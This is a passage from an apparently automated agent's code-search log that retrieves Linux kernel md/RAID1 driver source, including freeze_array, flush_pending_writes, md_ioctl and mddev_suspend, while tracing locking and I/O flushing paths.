6812: sizeof(struct serial_info));
6813: if (!mddev->serial_info_pool) {
6814: err = -ENOMEM;
6815: goto bitmap_abort;
6816: }
6817: }
6818: }
6819:
6820: if (pers->sync_request) {
6821: if (mddev->kobj.sd &&
6822: sysfs_create_group(&mddev->kobj, &md_redundancy_group))
6823: pr_warn("md: cannot register extra attributes for %s\n",
6824: mdname(mddev));
6825: mddev->sysfs_action = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_action");
6826: mddev->sysfs_completed = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_completed");
6827: mddev->sysfs_degraded = sysfs_get_dirent_safe(mddev->kobj.sd, "degraded");
6828: } else if (mddev->ro == MD_AUTO_READ)
6829: mddev->ro = MD_RDWR;
6830:
6831: atomic_set(&mddev->max_corr_read_errors,
6832: MD_DEFAULT_MAX_CORRECTED_READ_ERRORS);
6833: mddev->safemode = 0;
6834: if (mddev_is_clustered(mddev))
6835: mddev->safemode_delay = 0;
6836: else
6837: mddev->safemode_delay = DEFAULT_SAFEMODE_DELAY;
6838: mddev->in_sync = 1;
6839: smp_wmb();
6840: spin_lock(&mddev->lock);
6841: mddev->pers = pers;
6842: spin_unlock(&mddev->lock);
6843: rdev_for_each(rdev, mddev)
6844: if (rdev->raid_disk >= 0)
6845: sysfs_link_rdev(mddev, rdev); /* failure here is OK */
6846:
6847: if (mddev->degraded && md_is_rdwr(mddev))
6848: /* This ensures that recovering status is reported immediately
6849: * via sysfs - until a lack of spares is confirmed.
6850: */
6851: set_bit(MD_RECOVERY_RECOVER, &mddev->recovery);
6852: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
6853:
6854: if (mddev->sb_flags)
6855: md_update_sb(mddev, 0);
6856:
6857: if (IS_ENABLED(CONFIG_MD_BITMAP) && !mddev->bitmap_info.file &&
6858: !mddev->bitmap_info.offset)
6859: md_bitmap_set_none(mddev);
6860:
6861: md_new_event();
6862: return 0;
6863:
6864: bitmap_abort:
6865: mddev_detach(mddev);
6866: if (mddev->private)
6867: pers->free(mddev, mddev->private);
6868: mddev->private = NULL;
6869: put_pers(pers);
6870: md_bitmap_destroy(mddev);
6871: return err;
6872: }
SourceFile:drivers/md/md.c]
|
| 162/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 87083
output: 22
thoughts: 0
|
| 163/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 164/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 87386
output: 24
thoughts: 0
|
| 165/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3411: static void raid1_quiesce(struct mddev *mddev, int quiesce)
3412: {
3413: struct r1conf *conf = mddev->private;
3414:
3415: if (quiesce)
3416: freeze_array(conf, 0);
3417: else
3418: unfreeze_array(conf);
3419: }
SourceFile:drivers/md/raid1.c]
|
| 166/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 87561
output: 35
thoughts: 0
|
| 167/2 |
2026/08/26 10:39 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:freeze_array]
Results: map[SourceCode:1183: static void freeze_array(struct r1conf *conf, int extra)
1184: {
1185: /* Stop sync I/O and normal I/O and wait for everything to
1186: * go quiet.
1187: * This is called in two situations:
1188: * 1) management command handlers (reshape, remove disk, quiesce).
1189: * 2) one normal I/O request failed.
1190:
1191: * After array_frozen is set to 1, new sync IO will be blocked at
1192: * raise_barrier(), and new normal I/O will blocked at _wait_barrier()
1193: * or wait_read_barrier(). The flying I/Os will either complete or be
1194: * queued. When everything goes quite, there are only queued I/Os left.
1195:
1196: * Every flying I/O contributes to a conf->nr_pending[idx], idx is the
1197: * barrier bucket index which this I/O request hits. When all sync and
1198: * normal I/O are queued, sum of all conf->nr_pending[] will match sum
1199: * of all conf->nr_queued[]. But normal I/O failure is an exception,
1200: * in handle_read_error(), we may call freeze_array() before trying to
1201: * fix the read error. In this case, the error read I/O is not queued,
1202: * so get_unqueued_pending() == 1.
1203: *
1204: * Therefore before this function returns, we need to wait until
1205: * get_unqueued_pendings(conf) gets equal to extra. For
1206: * normal I/O context, extra is 1, in rested situations extra is 0.
1207: */
1208: spin_lock_irq(&conf->resync_lock);
1209: conf->array_frozen = 1;
1210: mddev_add_trace_msg(conf->mddev, "raid1 wait freeze");
1211: wait_event_lock_irq_cmd(
1212: conf->wait_barrier,
1213: get_unqueued_pending(conf) == extra,
1214: conf->resync_lock,
1215: flush_pending_writes(conf));
1216: spin_unlock_irq(&conf->resync_lock);
1217: }
SourceFile:drivers/md/raid1.c]
|
| 168/2 |
2026/08/26 10:39 |
llm |
expert |
0m
Model:
Tokens:
input: 88297
output: 24
thoughts: 0
|
| 169/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[Name:get_unqueued_pending]
Results: map[SourceCode:1170: /* conf->resync_lock should be held */
1171: static int get_unqueued_pending(struct r1conf *conf)
1172: {
1173: int idx, ret;
1174:
1175: ret = atomic_read(&conf->nr_sync_pending);
1176: for (idx = 0; idx < BARRIER_BUCKETS_NR; idx++)
1177: ret += atomic_read(&conf->nr_pending[idx]) -
1178: atomic_read(&conf->nr_queued[idx]);
1179:
1180: return ret;
1181: }
SourceFile:drivers/md/raid1.c]
|
| 170/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 88533
output: 23
thoughts: 0
|
| 171/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[Name:flush_pending_writes]
Results: map[SourceCode: 875: static void flush_pending_writes(struct r10conf *conf)
876: {
877: /* Any writes that have been queued but are awaiting
878: * bitmap updates get flushed here.
879: */
880: spin_lock_irq(&conf->device_lock);
881:
882: if (conf->pending_bio_list.head) {
883: struct blk_plug plug;
884: struct bio *bio;
885:
886: bio = bio_list_get(&conf->pending_bio_list);
887: spin_unlock_irq(&conf->device_lock);
888:
889: /*
890: * As this is called in a wait_event() loop (see freeze_array),
891: * current->state might be TASK_UNINTERRUPTIBLE which will
892: * cause a warning when we prepare to wait again. As it is
893: * rare that this path is taken, it is perfectly safe to force
894: * us to go around the wait_event() loop again, so the warning
895: * is a false-positive. Silence the warning by resetting
896: * thread state
897: */
898: __set_current_state(TASK_RUNNING);
899:
900: blk_start_plug(&plug);
901: raid1_prepare_flush_writes(conf->mddev);
902: wake_up(&conf->wait_barrier);
903:
904: while (bio) { /* submit pending writes */
905: struct bio *next = bio->bi_next;
906:
907: raid1_submit_write(bio);
908: bio = next;
909: cond_resched();
910: }
911: blk_finish_plug(&plug);
912: } else
913: spin_unlock_irq(&conf->device_lock);
914: }
SourceFile:drivers/md/raid10.c]
|
| 172/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 89173
output: 37
thoughts: 0
|
| 173/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:flush_pending_writes]
Results: map[SourceCode: 940: static void flush_pending_writes(struct r1conf *conf)
941: {
942: /* Any writes that have been queued but are awaiting
943: * bitmap updates get flushed here.
944: */
945: spin_lock_irq(&conf->device_lock);
946:
947: if (conf->pending_bio_list.head) {
948: struct blk_plug plug;
949: struct bio *bio;
950:
951: bio = bio_list_get(&conf->pending_bio_list);
952: spin_unlock_irq(&conf->device_lock);
953:
954: /*
955: * As this is called in a wait_event() loop (see freeze_array),
956: * current->state might be TASK_UNINTERRUPTIBLE which will
957: * cause a warning when we prepare to wait again. As it is
958: * rare that this path is taken, it is perfectly safe to force
959: * us to go around the wait_event() loop again, so the warning
960: * is a false-positive. Silence the warning by resetting
961: * thread state
962: */
963: __set_current_state(TASK_RUNNING);
964: blk_start_plug(&plug);
965: flush_bio_list(conf, bio);
966: blk_finish_plug(&plug);
967: } else
968: spin_unlock_irq(&conf->device_lock);
969: }
SourceFile:drivers/md/raid1.c]
|
| 174/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 89702
output: 23
thoughts: 0
|
| 175/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 925: static void flush_bio_list(struct r1conf *conf, struct bio *bio)
926: {
927: /* flush any pending bitmap writes to disk before proceeding w/ I/O */
928: raid1_prepare_flush_writes(conf->mddev);
929: wake_up_barrier(conf);
930:
931: while (bio) { /* submit pending writes */
932: struct bio *next = bio->bi_next;
933:
934: raid1_submit_write(bio);
935: bio = next;
936: cond_resched();
937: }
938: }
SourceFile:drivers/md/raid1.c]
|
| 176/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 89954
output: 26
thoughts: 0
|
| 177/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_prepare_flush_writes]
Results: map[SourceCode: 158: /*
159: * current->bio_list will be set under submit_bio() context, in this case bitmap
160: * io will be added to the list and wait for current io submission to finish,
161: * while current io submission must wait for bitmap io to be done. In order to
162: * avoid such deadlock, submit bitmap io asynchronously.
163: */
164: static inline void raid1_prepare_flush_writes(struct mddev *mddev)
165: {
166: mddev->bitmap_ops->unplug(mddev, current->bio_list == NULL);
167: }
SourceFile:drivers/md/raid1-10.c]
|
| 178/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 90192
output: 23
thoughts: 0
|
| 179/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[Name:wake_up_barrier]
Results: map[SourceCode: 302: static void wake_up_barrier(struct r10conf *conf)
303: {
304: if (wq_has_sleeper(&conf->wait_barrier))
305: wake_up(&conf->wait_barrier);
306: }
SourceFile:drivers/md/raid10.c]
|
| 180/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 90325
output: 37
thoughts: 0
|
| 181/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:wake_up_barrier]
Results: map[SourceCode: 919: static void wake_up_barrier(struct r1conf *conf)
920: {
921: if (wq_has_sleeper(&conf->wait_barrier))
922: wake_up(&conf->wait_barrier);
923: }
SourceFile:drivers/md/raid1.c]
|
| 182/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 90470
output: 24
thoughts: 0
|
| 183/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_submit_write]
Results: map[SourceCode: 112: static inline void raid1_submit_write(struct bio *bio)
113: {
114: struct md_rdev *rdev = (void *)bio->bi_bdev;
115:
116: bio->bi_next = NULL;
117: bio_set_dev(bio, rdev->bdev);
118: if (test_bit(Faulty, &rdev->flags))
119: bio_io_error(bio);
120: else if (unlikely(bio_op(bio) == REQ_OP_DISCARD &&
121: !bdev_max_discard_sectors(bio->bi_bdev)))
122: /* Just ignore it */
123: bio_endio(bio);
124: else
125: submit_bio_noacct(bio);
126: }
SourceFile:drivers/md/raid1-10.c]
|
| 184/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 90775
output: 25
thoughts: 0
|
| 185/2 |
2026/08/26 10:40 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_set_array_info]
Results: map[SourceCode:7894: /*
7895: * md_set_array_info is used two different ways
7896: * The original usage is when creating a new array.
7897: * In this usage, raid_disks is > 0 and it together with
7898: * level, size, not_persistent,layout,chunksize determine the
7899: * shape of the array.
7900: * This will always create an array with a type-0.90.0 superblock.
7901: * The newer usage is when assembling an array.
7902: * In this case raid_disks will be 0, and the major_version field is
7903: * use to determine which style super-blocks are to be found on the devices.
7904: * The minor and patch _version numbers are also kept incase the
7905: * super_block handler wishes to interpret them.
7906: */
7907: int md_set_array_info(struct mddev *mddev, struct mdu_array_info_s *info)
7908: {
7909: if (info->raid_disks == 0) {
7910: /* just setting version number for superblock loading */
7911: if (info->major_version < 0 ||
7912: info->major_version >= ARRAY_SIZE(super_types) ||
7913: super_types[info->major_version].name == NULL) {
7914: /* maybe try to auto-load a module? */
7915: pr_warn("md: superblock version %d not known\n",
7916: info->major_version);
7917: return -EINVAL;
7918: }
7919: mddev->major_version = info->major_version;
7920: mddev->minor_version = info->minor_version;
7921: mddev->patch_version = info->patch_version;
7922: mddev->persistent = !info->not_persistent;
7923: /* ensure mddev_put doesn't delete this now that there
7924: * is some minimal configuration.
7925: */
7926: mddev->ctime = ktime_get_real_seconds();
7927: return 0;
7928: }
7929: mddev->major_version = MD_MAJOR_VERSION;
7930: mddev->minor_version = MD_MINOR_VERSION;
7931: mddev->patch_version = MD_PATCHLEVEL_VERSION;
7932: mddev->ctime = ktime_get_real_seconds();
7933:
7934: mddev->level = info->level;
7935: mddev->clevel[0] = 0;
7936: mddev->dev_sectors = 2 * (sector_t)info->size;
7937: mddev->raid_disks = info->raid_disks;
7938: /* don't set md_minor, it is determined by which /dev/md* was
7939: * openned
7940: */
7941: if (info->state & (1<<MD_SB_CLEAN))
7942: mddev->resync_offset = MaxSector;
7943: else
7944: mddev->resync_offset = 0;
7945: mddev->persistent = ! info->not_persistent;
7946: mddev->external = 0;
7947:
7948: mddev->layout = info->layout;
7949: if (mddev->level == 0)
7950: /* Cannot trust RAID0 layout info here */
7951: mddev->layout = -1;
7952: mddev->chunk_sectors = info->chunk_size >> 9;
7953:
7954: if (mddev->persistent) {
7955: mddev->max_disks = MD_SB_DISKS;
7956: mddev->flags = 0;
7957: mddev->sb_flags = 0;
7958: }
7959: set_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags);
7960:
7961: mddev->bitmap_info.default_offset = MD_SB_BYTES >> 9;
7962: mddev->bitmap_info.default_space = 64*2 - (MD_SB_BYTES >> 9);
7963: mddev->bitmap_info.offset = 0;
7964:
7965: mddev->reshape_position = MaxSector;
7966:
7967: /*
7968: * Generate a 128 bit UUID
7969: */
7970: get_random_bytes(mddev->uuid, 16);
7971:
7972: mddev->new_level = mddev->level;
7973: mddev->new_chunk_sectors = mddev->chunk_sectors;
7974: mddev->new_layout = mddev->layout;
7975: mddev->delta_disks = 0;
7976: mddev->reshape_backwards = 0;
7977:
7978: return 0;
7979: }
SourceFile:drivers/md/md.c]
|
| 186/2 |
2026/08/26 10:40 |
llm |
expert |
0m
Model:
Tokens:
input: 92295
output: 26
thoughts: 0
|
| 187/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_set_array_info]
Results: map[SourceCode:8308: static int __md_set_array_info(struct mddev *mddev, void __user *argp)
8309: {
8310: mdu_array_info_t info;
8311: int err;
8312:
8313: if (!argp)
8314: memset(&info, 0, sizeof(info));
8315: else if (copy_from_user(&info, argp, sizeof(info)))
8316: return -EFAULT;
8317:
8318: if (mddev->pers) {
8319: err = update_array_info(mddev, &info);
8320: if (err)
8321: pr_warn("md: couldn't update array info. %d\n", err);
8322: return err;
8323: }
8324:
8325: if (!list_empty(&mddev->disks)) {
8326: pr_warn("md: array %s already has disks!\n", mdname(mddev));
8327: return -EBUSY;
8328: }
8329:
8330: if (mddev->raid_disks) {
8331: pr_warn("md: array %s already initialised!\n", mdname(mddev));
8332: return -EBUSY;
8333: }
8334:
8335: err = md_set_array_info(mddev, &info);
8336: if (err)
8337: pr_warn("md: couldn't set array info. %d\n", err);
8338:
8339: return err;
8340: }
SourceFile:drivers/md/md.c]
|
| 188/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 92834
output: 23
thoughts: 0
|
| 189/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 190/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 93226
output: 21
thoughts: 0
|
| 191/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 192/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 96147
output: 27
thoughts: 0
|
| 193/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_suspend_and_lock]
Results: map[SourceCode:1011: static inline int mddev_suspend_and_lock(struct mddev *mddev)
1012: {
1013: int ret;
1014:
1015: ret = mddev_suspend(mddev, true);
1016: if (ret)
1017: return ret;
1018:
1019: ret = mddev_lock(mddev);
1020: if (ret)
1021: mddev_resume(mddev);
1022:
1023: return ret;
1024: }
SourceFile:drivers/md/md.h]
|
| 194/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 96372
output: 23
thoughts: 0
|
| 195/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 461: /*
462: * Make sure no new requests are submitted to the device, and any requests that
463: * have been submitted are completely handled.
464: */
465: int mddev_suspend(struct mddev *mddev, bool interruptible)
466: {
467: int err = 0;
468:
469: /*
470: * hold reconfig_mutex to wait for normal io will deadlock, because
471: * other context can't update super_block, and normal io can rely on
472: * updating super_block.
473: */
474: lockdep_assert_not_held(&mddev->reconfig_mutex);
475:
476: if (interruptible)
477: err = mutex_lock_interruptible(&mddev->suspend_mutex);
478: else
479: mutex_lock(&mddev->suspend_mutex);
480: if (err)
481: return err;
482:
483: if (mddev->suspended) {
484: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
485: mutex_unlock(&mddev->suspend_mutex);
486: return 0;
487: }
488:
489: percpu_ref_kill(&mddev->active_io);
490:
491: /*
492: * RAID456 IO can sleep in wait_for_reshape while still holding an
493: * active_io reference. If reshape is already interrupted or frozen,
494: * wake those waiters so they can abort and drop the reference instead
495: * of deadlocking suspend.
496: */
497: if (mddev->pers && mddev->pers->prepare_suspend &&
498: reshape_interrupted(mddev))
499: mddev->pers->prepare_suspend(mddev);
500:
501: if (interruptible)
502: err = wait_event_interruptible(mddev->sb_wait,
503: percpu_ref_is_zero(&mddev->active_io));
504: else
505: wait_event(mddev->sb_wait,
506: percpu_ref_is_zero(&mddev->active_io));
507: if (err) {
508: percpu_ref_resurrect(&mddev->active_io);
509: mutex_unlock(&mddev->suspend_mutex);
510: return err;
511: }
512:
513: /*
514: * For raid456, io might be waiting for reshape to make progress,
515: * allow new reshape to start while waiting for io to be done to
516: * prevent deadlock.
517: */
518: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
519:
520: mutex_unlock(&mddev->suspend_mutex);
521: return 0;
522: }
SourceFile:drivers/md/md.c]
|
| 196/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 97332
output: 22
thoughts: 0
|
| 197/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 709: static inline int __must_check mddev_lock(struct mddev *mddev)
710: {
711: int ret;
712:
713: ret = mutex_lock_interruptible(&mddev->reconfig_mutex);
714:
715: /* MD_DELETED is set in do_md_stop with reconfig_mutex.
716: * So check it here.
717: */
718: if (!ret && test_bit(MD_DELETED, &mddev->flags)) {
719: ret = -ENODEV;
720: mutex_unlock(&mddev->reconfig_mutex);
721: }
722:
723: return ret;
724: }
SourceFile:drivers/md/md.h]
|
| 198/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 97606
output: 22
thoughts: 0
|
| 199/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 915: void mddev_unlock(struct mddev *mddev)
916: {
917: struct md_rdev *rdev;
918: struct md_rdev *tmp;
919: LIST_HEAD(delete);
920:
921: if (!list_empty(&mddev->deleting))
922: list_splice_init(&mddev->deleting, &delete);
923:
924: if (mddev->to_remove) {
925: /* These cannot be removed under reconfig_mutex as
926: * an access to the files will try to take reconfig_mutex
927: * while holding the file unremovable, which leads to
928: * a deadlock.
929: * So hold set sysfs_active while the remove in happeing,
930: * and anything else which might set ->to_remove or my
931: * otherwise change the sysfs namespace will fail with
932: * -EBUSY if sysfs_active is still set.
933: * We set sysfs_active under reconfig_mutex and elsewhere
934: * test it under the same mutex to ensure its correct value
935: * is seen.
936: */
937: const struct attribute_group *to_remove = mddev->to_remove;
938: mddev->to_remove = NULL;
939: mddev->sysfs_active = 1;
940: mutex_unlock(&mddev->reconfig_mutex);
941:
942: if (mddev->kobj.sd) {
943: if (to_remove != &md_redundancy_group)
944: sysfs_remove_group(&mddev->kobj, to_remove);
945: if (mddev->pers == NULL ||
946: mddev->pers->sync_request == NULL) {
947: sysfs_remove_group(&mddev->kobj, &md_redundancy_group);
948: if (mddev->sysfs_action)
949: sysfs_put(mddev->sysfs_action);
950: if (mddev->sysfs_completed)
951: sysfs_put(mddev->sysfs_completed);
952: if (mddev->sysfs_degraded)
953: sysfs_put(mddev->sysfs_degraded);
954: mddev->sysfs_action = NULL;
955: mddev->sysfs_completed = NULL;
956: mddev->sysfs_degraded = NULL;
957: }
958: }
959: mddev->sysfs_active = 0;
960: } else
961: mutex_unlock(&mddev->reconfig_mutex);
962:
963: md_wakeup_thread(mddev->thread);
964: wake_up(&mddev->sb_wait);
965:
966: list_for_each_entry_safe(rdev, tmp, &delete, same_set) {
967: list_del_init(&rdev->same_set);
968: kobject_del(&rdev->kobj);
969: export_rdev(rdev);
970: }
971:
972: if (!legacy_async_del_gendisk) {
973: /*
974: * Call del_gendisk after release reconfig_mutex to avoid
975: * deadlock (e.g. call del_gendisk under the lock and an
976: * access to sysfs files waits the lock)
977: * And MD_DELETED is only used for md raid which is set in
978: * do_md_stop. dm raid only uses md_stop to stop. So dm raid
979: * doesn't need to check MD_DELETED when getting reconfig lock
980: */
981: if (test_bit(MD_DELETED, &mddev->flags) &&
982: !test_and_set_bit(MD_DO_DELETE, &mddev->flags)) {
983: kobject_del(&mddev->kobj);
984: del_gendisk(mddev->gendisk);
985: }
986: }
987: }
SourceFile:drivers/md/md.c]
|
| 200/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 98881
output: 22
thoughts: 0
|
| 201/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 547: void mddev_resume(struct mddev *mddev)
548: {
549: return __mddev_resume(mddev, true);
550: }
SourceFile:drivers/md/md.c]
|
| 202/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 98988
output: 23
thoughts: 0
|
| 203/2 |
2026/08/26 10:41 |
tool |
codesearch-definition-source |
0m
Args:
